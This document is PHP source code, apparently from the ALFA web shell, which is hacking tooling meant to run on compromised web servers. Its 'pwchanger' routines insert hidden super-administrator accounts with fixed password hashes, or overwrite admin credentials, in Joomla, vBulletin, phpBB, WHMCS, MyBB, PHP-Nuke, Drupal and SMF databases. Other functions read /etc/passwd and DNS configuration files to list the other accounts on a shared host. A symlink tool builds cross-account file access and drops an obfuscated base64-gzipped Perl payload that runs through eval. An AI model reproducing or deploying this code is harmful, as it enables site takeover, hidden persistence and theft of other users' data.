        echo __pre() . '<center><center><div class="txtfont_header">| Joomla |</div><p><p>' . getConfigHtml('joomla') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',\'joomla\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => 'jos_', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50'));
        create_table($table);
        echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
        if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
            $localhost = $_POST['alfa3'];
            $database = $_POST['alfa4'];
            $username = $_POST['alfa5'];
            $password = $_POST['alfa6'];
            $admin = $_POST['alfa8'];
            $SQL = $_POST['alfa9'];
            $prefix = $_POST['alfa10'];
            $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "insert into " . $prefix . "users (id,name,username,email,password) values(null,'Super User','" . $admin . "','" . $SQL . "','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "select id from " . $prefix . "users where username='" . $admin . "'") or die(mysqli_error($conn));
            $sole = @mysqli_num_rows($solevisible);
            if ($sole == 1) {
                $solevis = @mysqli_fetch_assoc($solevisible);
                $res = $solevis['id'];
            }
            $solevisible = @mysqli_query($conn, "INSERT INTO " . $prefix . "user_usergroup_map (user_id,group_id) VALUES ('" . $res . "', '8')") or die(mysqli_error($conn));
            if ($solevisible) {
                __alert('Success... ' . $admin . ' is created...');
            }
        }
    }
    if ($_POST['alfa4'] && $_POST['alfa4'] == 'vb') {
        echo __pre() . '<center><center><div class="txtfont_header">| vBulletin |<div><p>' . getConfigHtml('vb') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,\'vb\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50'));
        create_table($table);
        echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
        if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
            $localhost = $_POST['alfa2'];
            $database = $_POST['alfa3'];
            $username = $_POST['alfa5'];
            $password = $_POST['alfa6'];
            $prefix = $_POST['alfa7'];
            $admin = $_POST['alfa8'];
            $SQL = $_POST['alfa9'];
            $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_connect_error());
            $pw_col = @mysqli_connect("SELECT column_name FROM information_schema.columns where table_name = '{$prefix}user' and column_name = 'password' and table_schema = '{$database}'");
            $pw_col = @mysqli_num_rows($pw_col);
            $adm_perm = "16744444";
            if ($pw_col > 0) {
                $solevisible = @mysqli_query($conn, "insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,'6','{$admin}','52e28b78f55641cd4618ad1a20f5fd5c','Xw|IbGLhTQA-AwApVv>61y^(z]*<QN','{$SQL}','" . date('Y-m-d') . "','" . time() . "')") or die(mysqli_error($conn));
            } else {
                $adm_perm = "2143256444";
                $solevisible = @mysqli_query($conn, "insert into {$prefix}user (userid,usergroupid,username,token,secret,email,passworddate,joindate,scheme,birthday_search) values(null,'6','{$admin}','\$2y\$10\$YsVhV.9tLnzBYxar1BJAGO3vFz68/qDU7Jt62SDdLy6lUT9N5Z/wq','Qf~ADeA}iAey-&#ALQF<}/uBDqSnw>','{$SQL}','" . date('Y-m-d') . "','" . time() . "','blowfish:10','1984-05-20')") or die(mysqli_error($conn));
            }
            $solevisible = @mysqli_query($conn, "select userid from {$prefix}user where username='" . $admin . "'") or die(mysqli_error($conn));
            $sole = mysqli_num_rows($solevisible);
            if ($sole == 1) {
                $solevis = mysqli_fetch_assoc($solevisible);
                $res = $solevis['userid'];
            }
            $solevisible = @mysqli_query($conn, "insert into {$prefix}administrator (userid,adminpermissions) values('" . $res . "','" . $adm_perm . "')") or die(mysqli_error($conn));
            if ($solevisible) {
                __alert('Success... ' . $admin . ' is created...');
            }
        }
    }
    if (isset($_POST['alfa5']) && $_POST['alfa5'] == 'phpbb') {
        echo __pre() . '<center><div class="txtfont_header">| phpBB |</div><p><p>' . getConfigHtml('phpbb') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,\'phpbb\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50'));
        create_table($table);
        echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
        if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
            $localhost = $_POST['alfa2'];
            $database = $_POST['alfa3'];
            $username = $_POST['alfa4'];
            $password = $_POST['alfa6'];
            $admin = $_POST['alfa8'];
            $SQL = $_POST['alfa9'];
            $prefix = $_POST['alfa10'];
            $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
            $hash = md5('solevisible');
            $solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET username_clean ='" . $admin . "' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET user_password ='" . $hash . "' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET username_clean ='" . $admin . "' WHERE user_type = 3") or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET user_password ='" . $hash . "' WHERE user_type = 3") or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "UPDATE " . $prefix . "users SET user_email ='" . $SQL . "' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
            if ($solevisible) {
                __alert('Success... ' . $admin . ' is created...');
            }
        }
    }
    if (isset($_POST['alfa6']) && $_POST['alfa6'] == 'whmcs') {
        echo __pre() . '<center><div class="txtfont_header">| Whmcs |</div><p><p>' . getConfigHtml('whmcs') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,\'whmcs\',null,this.admin.value,this.email.value); return false;" method="POST">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50'));
        create_table($table);
        echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
        if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
            $localhost = $_POST['alfa2'];
            $database = $_POST['alfa3'];
            $username = $_POST['alfa4'];
            $password = $_POST['alfa5'];
            $admin = $_POST['alfa8'];
            $SQL = $_POST['alfa9'];
            $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','" . $admin . "','d4a590caacc0be55ef286e40a945ea45','" . $SQL . "','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')") or die(mysqli_error($conn));
            if ($solevisible) {
                __alert('Success... ' . $admin . ' is created...');
            }
        }
    }
    if (isset($_POST['alfa7']) && $_POST['alfa7'] == 'mybb') {
        echo __pre() . '<center><div class="txtfont_header">| Mybb |</div><p><p>' . getConfigHtml('mybb') . '</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\'mybb\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50'));
        create_table($table);
        echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
        if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
            $localhost = $_POST['alfa2'];
            $database = $_POST['alfa3'];
            $username = $_POST['alfa4'];
            $password = $_POST['alfa5'];
            $admin = $_POST['alfa8'];
            $SQL = $_POST['alfa9'];
            $prefix = $_POST['alfa10'];
            $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "insert into " . $prefix . "users (uid,username,password,salt,email,usergroup) values(null,'" . $admin . "','e71f2c3265619038d826a1ac6e2b9b8e','ywza68lS','" . $SQL . "','4')") or die(mysqli_error($conn));
            if ($solevisible) {
                __alert('Success... ' . $admin . ' is created...');
            }
        }
    }
    if (isset($_POST['alfa8']) && $_POST['alfa8'] == 'nuke') {
        echo __pre() . '<center><div class="txtfont_header">| PhpNuke |</div><p><p>' . getConfigHtml('phpnuke') . '</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'nuke\',this.email.value,this.prefix.value); return false;" method="POST">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50'));
        create_table($table);
        echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
        if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
            $localhost = $_POST['alfa2'];
            $database = $_POST['alfa3'];
            $username = $_POST['alfa4'];
            $password = $_POST['alfa5'];
            $admin = $_POST['alfa7'];
            $SQL = $_POST['alfa9'];
            $prefix = $_POST['alfa10'];
            $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
            $hash = md5($pwd);
            $solevisible = @mysqli_query($conn, "insert into " . $prefix . "_authors(aid,name,email,pwd) values('{$admin}','God','{$SQL}','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
            if ($solevisible) {
                __alert('Success... ' . $admin . ' is created...');
            }
        }
    }
    if (isset($_POST['alfa9']) && $_POST['alfa9'] == 'drupal') {
        echo __pre() . '<center><div class="txtfont_header">| Drupal |</div><p><p>' . getConfigHtml('drupal') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'drupal\'); return false;" method="POST">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true));
        create_table($table);
        echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
        if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
            $localhost = $_POST['alfa2'];
            $database = $_POST['alfa4'];
            $username = $_POST['alfa5'];
            $password = $_POST['alfa6'];
            $admin = $_POST['alfa8'];
            $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
            $getDescuid = @mysqli_query($conn, "select uid from users order by uid desc limit 0,1");
            $getDescuid = @mysqli_fetch_assoc($getDescuid);
            $getDescuid = $getDescuid['uid'];
            $getdescuid = $getDescuid++;
            $solevisible = @mysqli_query($conn, "insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values('{$getDescuid}','{$admin}','\$S\$DP2y9AbolCBOd\\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC','[email protected]','filtered_html','1','Europe/Berlin','[email protected]')") or die(mysqli_error($conn));
            $solevisible = @mysqli_query($conn, "select uid from users where name='" . $admin . "'") or die(mysqli_error($conn));
            $sole = mysqli_num_rows($solevisible);
            if ($sole == 1) {
                $solevis = mysqli_fetch_assoc($solevisible);
                $res = $solevis['uid'];
            }
            $solevisible = @mysqli_query($conn, "INSERT INTO users_roles (uid,rid) VALUES ('" . $res . "', '3')") or die(mysqli_error($conn));
            if ($solevisible) {
                __alert('Success... ' . $admin . ' is created...');
            }
        }
    }
    if (isset($_POST['alfa10']) && $_POST['alfa10'] == 'smf') {
        echo __pre() . '<center><center><div class="txtfont_header">| SMF |</div><p><p>' . getConfigHtml('smf') . '</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\'smf\'); return false;" method="POST">';
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id' => 'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id' => 'db_name', 'inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id' => 'db_user', 'inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id' => 'db_pw', 'inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id' => 'db_prefix', 'inputName' => 'prefix', 'inputValue' => 'smf_', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true));
        create_table($table);
        echo "<p><input value=\" \" name=\"send\" type=\"submit\"></p></form></center>";
        if ($_POST['alfa1'] && $_POST['alfa1'] == '>>') {
            $localhost = $_POST['alfa2'];
            $database = $_POST['alfa3'];
            $username = $_POST['alfa5'];
            $password = $_POST['alfa6'];
            $prefix = $_POST['alfa7'];
            $admin = $_POST['alfa8'];
            $conn = @mysqli_connect($localhost, $username, $password, $database) or die(mysqli_error($conn));
            $setpwAlg = sha1(strtolower($admin) . 'solevisible');
            $solevisible = @mysqli_query($conn, "insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,'{$admin}','1','{$admin}','{$setpwAlg}','[email protected]')") or die(mysqli_error($conn));
            if ($solevisible) {
                __alert('Success... ' . $admin . ' is created...');
            }
        }
    }
    echo "</div>";
    alfafooter();
}
function alfaMakePwd()
{
    if (_alfa_file_exists("/etc/virtual/domainowners") || _alfa_file_exists("/etc/named.conf") && _alfa_file_exists("/etc/valiases")) {
        return "/home/{user}/public_html/";
    }
    $document = explode("/", $_SERVER["DOCUMENT_ROOT"]);
    $public = end($document);
    array_pop($document);
    array_pop($document);
    $path = implode("/", $document) . "/{user}/" . $public;
    return $path;
}
function alfaGetDomains($state = false)
{
    $state = "named.conf";
    $lines = array();
    $lines = _alfa_file('/etc/named.conf');
    if (!$lines) {
        $lines = @scandir("/etc/valiases/");
        $state = "valiases";
        if (!$lines) {
            $lines = @scandir("/var/named");
            $state = "named";
            if (!$lines && $state) {
                $lines = _alfa_file('/etc/passwd');
                $state = "passwd";
            }
        }
    }
    return array("lines" => $lines, "state" => $state);
}
function alfaCreateParentFolder()
{
    $parent = $GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__;
    if (!@is_dir($parent)) {
        @mkdir($parent, 0755, true);
    }
}
function alfasymlink()
{
    alfahead();
    AlfaNum(9, 10);
    alfaCreateParentFolder();
    @chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
    echo "<div class=header><br><center><div class=\"txtfont_header\">| Symlink |</div><center><h3><a href=javascript:void(0) onclick=\"g('symlink',null,null,'symphp')\">| Symlink( php ) | </a><a href=javascript:void(0) onclick=\"g('symlink',null,null,'symperl')\">| Symlink( perl ) | </a><a href=javascript:void(0) onclick=\"g('symlink',null,null,'sympy')\">| Symlink( python ) | </a><a href=javascript:void(0) onclick=\"g('symlink',null,null,null,null,'SymFile')\">| File Symlink | </a></h3></center>";
    if (isset($_POST['alfa2']) && ($_POST['alfa2'] == 'symperl' || $_POST["alfa2"] == "sympy")) {
        $sympath = alfaMakePwd();
        @mkdir('cgialfa', 0755);
        @chdir('cgialfa');
        alfacgihtaccess('cgi');
        $perl = "#!/usr/bin/perl   -I/usr/local/bandmin\nuse MIME::Base64;use Compress::Zlib;my \$alfa_data=\"ALFA_DATA\";eval(Compress::Zlib::memGunzip(decode_base64(\"H4sIAAAAAAAA/50Ye1PTSPyrLLFnEqV5VBBs2gKH4jmjciPoP5TrbLLbNpImuez2Zamf/X77SBqgoHOZId3N/t7vZcooirKUcZxy9OFicPr+A+r20A5dxIwz1Dj58v7blXcdTJaoMWv5qIsMQ21CtY6HyFJ4NlrlRQxkjNMs5TTlTb7MaRtxuuDumE+SftpPO2LR64wpJr0Oj3lCe6cZoQSFS3Ty8ewEXdKTTx1XnXQYX8IPXgkSTUKjrMA8ztJ2mqU0WHdcdd5xFbkwI0sUjqIsyYqu+cyTj9kzAiWW2SHxDEmUrpFjQuJ01Pa9fBEEE1yM4rQZZpxnE/UtzApCi7afLxDBbAwSPhvKJ5D027AT5AMpGk7iUdqOQGdaBEPQvjmn8WjM22GWEPWBxT9ou/UaKBsbjVmWUMQwQc9RnM5iFoew/4kulpMkTm/Qn0v0Ny2SjguC98xgTRNGV9oNlWeUJxo4GeIBwRw7hhuNYrF1jWDNpiGQHuCiwEu0AsdZgO/tNma+ZwPa8UA484+ZP4TNBOdo1RgI//trdCwAg4LyaZEiS8UDIPvDlUBe2/aR3/YUg3xOStqvNdV4aO3osFhpGkLwYA0HAIXov8ggcUEjblQAhjvOJtRdTRkt1m4+DZM4Goh4EYoAXpMCCOWRm+IJJQ6E7dBAz5+jJtHfZ+AHzChzf5PmMcuTmIPA8tdy+667ixrvPn9bGW/PT79+evf5cvDl/PzSWNsq5g8ANs9ypBCD2lKz+57FqWW4xq7+bjsggWZuIAcoKItN8A3lRWm0PeA6o+LlH4r3vjaiTqcOQKqwNR9GmwlpBLEvYgyVkX8Gj+dD5APDPcfouOIU0kQAcrKFVkKHXFDCaFzQYdc0HJCKSiddHYnn2kBHyPyOZ5hFRZzzNk5owS1jDtVDVI5hnBJEsgmOU8dxDNtsI3PMed52XROEoLZjmIhDllHeNQdhgtMb857QnnfSanlKaFoTGleCb9Hy7Ewh+IcP1KxrAzniGCIlmMosV6xzSC2HL7g43oes+ZWAYFNZT3R2PhDQ5UVPZxzJBsDpfk7IEPJfiRiaE/ldfDqe+fvwydKbqLZ+Va0bMwJrX5OApaeWbzZLb7P0FUQt1WTGQFaoY8FDfwqynEJ6E0+4ju0i816CmTbKigqnTDAj0FJ3NGIviJIMWoneKtaAI3hXSCV7IbR5N2FNKQcUBKQaTWtXASreB1J3zbKgonQXEurOueJ5cJfLDBdKm6c5+L/g4JccdsTGXiknQDmDB6rytqK21bCzuOBTnLgqVbJ5SgtWmfiOEE9b1tdaHtacXjOr5vKkzoeaW7RV48ONSQ9LXaQdHw8RImVRBDvyuJRdbqr25WnL6e0bva0Uq+JXcLVyzNi84qp2j1hMHfYC4QoIVrU1gg1lXU91EUDviiIrRLnSolXlFos2rAaArumbZcEMcXQzKrJpSpp6BlAjhh4f2h7CU57Jiqznm/9Zt188KGVbK+VbGUTsaeCySn6FHvRL0O0Frixu8NJ6iUkLal1jIe0/zCB+orEMMkCkyBIesVcRtN5cB6ecUcSh3uPaJOmTcpR8UK90xkFQSMLdn2jiOi+OfsD8hwwLVraBVm5QMvC1J606R1ugMdchoeuOqkALJR9gkYJr7owlije6vUXll1oFqyM7GqjcOhU1pZaMwnuDiehVYaCGGQEiw10YAxpPPp/GxLJgFueWPLOv9q5trZIirNaqa9DN4NIWc4vUNdDk4Ieq6VAZQmz9a2XiN5Kp2CvL/NNnL2/hryHsU8f3Jb6gsx0wrDGqW1BnXmktetW6Rh2073mlfTRuNVyodndQm8TWahaDdilVIiWn/Wvo1MKKB0K60pl4qzNFjFSiWBsqr3RE6LlM4IvAkFhEDJT39FBe9srGsieLUz3ooeRByEd3Ir5VC3Bci2+irRI9FszCOS0VzJZCbfha4L5z22/WgtirYGdRBQxy3IeWwC0Alg1nkEAx7yJ4j/hYWs9GTTVbVCMHYMAcw3ghz3eRB76okG1hnOr4walUsLxzWH2gKR2JHdCjShA5/1qNhThSbQnLNwF3L16+DLSd/SCfsrFVowF6iK6rC8MeOGVDqoqnLQR16jwmGgTkduH8cAuxB0IBNnAoG4irCiT8ik4ihsL15Ab6q1WfQUFI72B/X493voyXZ+pmCPe+C3EzvJA3ww/lzbCfnufi+svgE6ELytBZliTZHOr1RyDI+ulbOXxkxVICyOulxnVyuPT00xNCLuFSru7keQLtA+XjXPztIQGRIHghdVkH2L9wSmDQ/w1wHelDNU/CArzRAxXvTN3OmOMoooyVV3II3+Faaq8nBUFBQ6tr1ONTuwzSnepOuG2ygrRXk7hVNhRdTMuv5bAmU6S8rlZe1E6U/7EAH/4H5eHKfSsRAAA=\")));";
